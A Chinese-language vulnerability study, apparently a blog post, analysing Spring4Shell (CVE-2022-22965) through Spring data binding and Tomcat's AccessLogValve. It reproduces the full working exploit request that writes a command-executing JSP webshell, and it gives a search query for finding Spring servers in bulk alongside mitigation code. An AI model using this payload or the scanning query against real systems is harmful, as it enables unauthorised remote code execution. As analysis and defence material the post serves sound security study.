• SpringCVE202222965 学习


    Spring-CVE-2022-22965

    序言

    cve-2022-22965已经公布一段时间了,可谓三月安全圈最大的瓜,同时官方也发布了通告(https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement),为了方便观看我使用了google翻译了一下

    image-20220410123133760

    总结下官方的意思:受影响的web应用必须是java9及以上,并且应用使用war包部署的形式在tomcat上运行,对应的Spring Framework版本如上截图。

    漏洞利用条件

    使用Spring参数绑定

    jdk版本号 >= 9

    当前应用以war包的方式在tomcat上运行

    漏洞分析
    前置知识
    Tomcat AccessLogValue

    这里涉及到Tomcat AccessLogValue,AccessLogValve用来设置访问日志access_log,Tomcat的server.xml中默认配置了AccessLogValve,所有部署在Tomcat中的Web应用均会执行该Valve。

    image-20220410120801493

    可以看到其Valve标签中的属性:

    suffix:后缀

    directory:日志输出位置

    prefix:文件名前缀

    pattern:文件内容格式

    Spring参数绑定

    定义一个BeanParam,其中有name属性

     package com.example;
     ​
     public class BeanParam {
         private String name;
     ​
         public BeanParam() {
         }
     ​
         public BeanParam(String name) {
             this.name = name;
         }
     ​
         public String getName() {
             return name;
         }
     ​
         public void setName(String name) {
             this.name = name;
         }
     ​
         @Override
         public String toString() {
             return "BeanParam{" +
                     "name='" + name + '\'' +
                     '}';
         }
     }

    在传统的java中调用中需要先将BeanParam实例化才能调用设置其属性,在spring中帮我们解决了这个过程,直接调用即可

     package com.example;
     ​
     import org.springframework.web.bind.annotation.RequestMapping;
     import org.springframework.web.bind.annotation.RestController;
     ​
     @RestController
     public class TestController {
         public TestController() {
             System.out.printf("Test Init");
         }
         @RequestMapping("test")
         public Object test(BeanParam beanParam){
             return beanParam.toString();
         }
     }

    Spring初始化

     package com.example;
     ​
     import org.springframework.web.WebApplicationInitializer;
     import org.springframework.web.context.support.AnnotationConfigWebApplicationContext;
     import org.springframework.web.servlet.DispatcherServlet;
     ​
     import javax.servlet.ServletContext;
     import javax.servlet.ServletException;
     import javax.servlet.ServletRegistration;
     ​
     public class ApplicationInitializer implements WebApplicationInitializer {
         @Override
         public void onStartup(ServletContext servletContext) throws ServletException {
             AnnotationConfigWebApplicationContext ctx = new AnnotationConfigWebApplicationContext();
             ctx.register(TestController.class);
     ​
             DispatcherServlet servlet = new DispatcherServlet(ctx);
             ServletRegistration.Dynamic registration = servletContext.addServlet("openx", servlet);
             registration.setLoadOnStartup(1);
             registration.addMapping("/openx/*");
         }
     }

    绑定过程实现过程

    访问url:http://localhost:8080/cve_2022_22965_war/openx/test?name=tom

    由于整个过程较多,我们挑漏洞产生处为重点,断点处BeanWrapperImple的230行处

    image-20220410181106062

    image-20220410183751979

    image-20220410221512845

    如上图代码走进getPropertyDescriptor时会获取属性描述,在我们的BeanParam实例中实际只有name一个属性,而此时却出现了class属性,并且指向我们的BeanParam,该漏洞就是利⽤这个 class 对象构造利⽤链,众所周知,所有Java对象都拥有一个getClass()方法,获取这个对象的Class;而Class对象又有getClassLoader()方法,来获取这个Class的ClassLoader;而在Tomcat中,一些和Tomcat的全局配置相关的属性都保存在org.apache.catalina.loader.ParallelWebappClassLoader这个Tomcat专属的ClassLoader的一些属性、子孙属性里。 那么,我们就可以通过person.getClass().getClassLoader().getXXX()来调用ParallelWebappClassLoader中的一些敏感属性,最后通过修改Tomcat的配置来执行危险操作,最简单的方式便是利用AccessLogValue修改tomcat配置,这个利用方式最早在CVE-2010-1622出现过,后来官方进行了修复,而此次则是利用jdk9的Class对象中多了一个Module类的属性的特性,而Module类中也存在getClassLoader()方法,绕过了之前的修复。利用链如下:

    BeanParam.getClass()
    
    java.lang.Class.getModule()
    
    java.lang.Module.getClassLoader()
    
    org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
    
    org.apache.catalina.webresources.StandardRoot.getContext()
    
    org.apache.catalina.core.StandardContext.getParent()
    
    org.apache.catalina.core.StandardHost.getPipeline()
    
    org.apache.catalina.core.StandardPipeline.getFirst()
    
    org.apache.catalina.valves.AccessLogValve.getPattern()
    
    AccessLogValue.setPattern("xxxxxxx")
    
    payload分析

    目前github上已公开利用脚本,我们看一下其内容

    image-20220410115844271

    这里我把关键的内容摘选出来

     "suffix":"%>//",
    "c1":"Runtime",
    "c2":"<%",
    "DNT":"1",
    "Content-Type":"application/x-www-form-urlencoded"

     class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
     class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
     class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
     class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
     class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

    执行上述脚本之后会在webapps/ROOT生成一句话木马的脚本tomcatwar.jsp,为什么会这样呢?

    这里我们先分析其中一段class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar是怎么实现的

    image-20220410153319825

    核心的地方在BeanWrapperImple,把类的get,set方法通过BeanWrapper使用,动态的修改bean的一些属性。在BeanWrapperImpl类230打断点

    image-20220410153944338

    链式调用的第一步getClass(),可以看到spring利用反射执行了方法getClass

    image-20220410192041775

    image-20220410224216621

    当代码走到AbstractNestablePropertyAccessor类820处时断点

    代码走到断点处可查看对我们传入的payload进行了怎样的处理,进入getFirstNestedPropertySeparatorIndex方法,从方法可以知道是用来进行分隔的,通过"["、 "]"、"."进行分隔,执行代码如下。

    image-20220410192617384

    我们重点关注第820行,AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);,该行主要实现每层嵌套参数的获取。我们可以通过idea查看每次递归解析过程中各个变量的值,以及如何获取每层嵌套参数。

    递归第一次,可以看到已解析的嵌套参数class,及接下来要解析的module.classLoader.resources.context.parent.pipeline.first.prefix

    image-20220410224839946

    接下来的步骤就不演示了,就是重复循环解析class的过程,如第二轮递归反射java.lang.Class.getmodule()方法,第三轮递归java.lang.Module.getclassLoader().....直到解析到org.apache.catalina.core.StandardPipeline.getFirst()方法,最后通过set方法对prefix进行赋值,可以看到下图最后使用set方法对oldValue进行了重置

    image-20220410230157098

    image-20220410230131413

    走到这里我们完成了第一步,即设置tomcat日志前缀为tomcatwar,那同理,AccessLogAvlue的其他属性也可以进行赋值,原理一样。

    漏洞利用复盘

    通过上述漏洞分析,我们知道只要依次请求下面的调用链即可完成修改日志配置的目的

    class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

    由于pattern中的%会被过滤,所以使用引用头部的方式进行构造,可以看到c1、c2键值对,会被带入pattern数据中标识占位符的地方

    headers = {"suffix":"%>//", "c1":"Runtime", "c2":"<%", "DNT":"1", "Content-Type":"application/x-www-form-urlencoded"

    }

    整个请求包如下:

    POST /cve_2022_22965_war/openx/test HTTP/1.1
    Host: 127.0.0.1:8080
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    suffix: %>//
    c1: Runtime
    c2: <%DNT: 1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Length: 762
    
    class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
    

    wps815.tmp

    执行上述payload之后我们会在webapps\ROOT下发现生成tomcatwar.jsp文件。

    image-20220410231139385

    最后我们再访问webshell

    image-20220410231107954

    环境搭建

    有基础的同学可以自己搭建一个小demo,方便调试,pom.xml文件如下

    <?xml version="1.0" encoding="UTF-8"?>
     <project xmlns="http://maven.apache.org/POM/4.0.0"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
         <modelVersion>4.0.0</modelVersion>
     ​
         <groupId>org.example</groupId>
         <artifactId>cve-2022-22965</artifactId>
         <version>1.0-SNAPSHOT</version>
         <packaging>war</packaging>
     ​
         <properties>
             <maven.compiler.source>9</maven.compiler.source>
             <maven.compiler.target>9</maven.compiler.target>
         </properties>
     ​
         <dependencies>
             <dependency>
                 <groupId>javax.servlet</groupId>
                 <artifactId>javax.servlet-api</artifactId>
                 <version>4.0.1</version>
                 <scope>provided</scope>
             </dependency>
             <dependency>
                 <groupId>org.springframework</groupId>
                 <artifactId>spring-context</artifactId>
                 <version>5.3.17</version>
             </dependency>
             <dependency>
                 <groupId>org.springframework</groupId>
                 <artifactId>spring-webmvc</artifactId>
                 <version>5.3.17</version>
             </dependency>
         </dependencies>
     ​
         <build>
             <plugins>
                 <plugin>
                     <groupId>org.apache.maven.plugins</groupId>
                     <artifactId>maven-site-plugin</artifactId>
                     <version>3.3</version>
                 </plugin>
             </plugins>
         </build>
     ​
     </project>

    代码直接使用Spring参数绑定处介绍的三段代码即可

    image-20220411143108501

    没有基础的可以直接使用docker起一个相关应用服务

    docker命令如下: docker pull vulfocus/spring-core-rce-2022-03-29 docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29

    不过在最后复盘的时候还是要强调一点,修改tomcat日志配置之后所有的访问日志都会记录到该jsp文件中,实际利用中如果项目不重启该配置或删除该文件,文件则会越来越大,存在DOS风险。当然,目前已知的利用方式是通过修改tomcat日志完成rce,或许有别的地方可以RCE,不仅仅只限于tomcat,所以项目应用尽早修复到官方指定版本。

    批量利用思路

    github已经公开了批量漏洞利用脚本,可以通过fofa、hunter等平台批量搜索spring资产,但极其不建议在不清楚漏洞危害的情况下刷漏洞,原因如上,存在DOS风险。

    如hunter的语法:web.icon=="0488faca4c19046b94d07c3ee83cf9d6"

    image-20220411144235217

    漏洞修复

    1、升级到当前最新Spring Framework版本

    2、升级Tomcat,在此次漏洞之后tomcat也做出相应调整,升级到10.0.20、9.0.62、8.5.78版本

    3、降级JDK版本到java8

    4、通过全局设置来禁用某些特定字段

     @ControllerAdvice
    @Order(Ordered.LOWEST_PRECEDENCE)
    public class BinderControllerAdvice {

         @InitBinder
         public void setAllowedFields(WebDataBinder dataBinder) {
              String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
              dataBinder.setDisallowedFields(denylist);
        }

    }
  • 相关阅读:
    js 删除数组的某一项或者几项的方法
    JavaScript 面向对象的程序设计(一)之理解对象属性
    iview 之 穿梭框 transfer
    iview2.0 bug之+8 区的 DatePicker
    js Object.keys 用法
    js map 、filter 、forEach 、every、some 的用法
    iview tree 之如何获取已勾选的节点
    js 中常见的深拷贝的方法
    ES6新特性
    Amazon2014在线笔试 第三题
  • 原文地址:https://www.cnblogs.com/sup3rman/p/16130424.html
Copyright © 2020-2023  润新知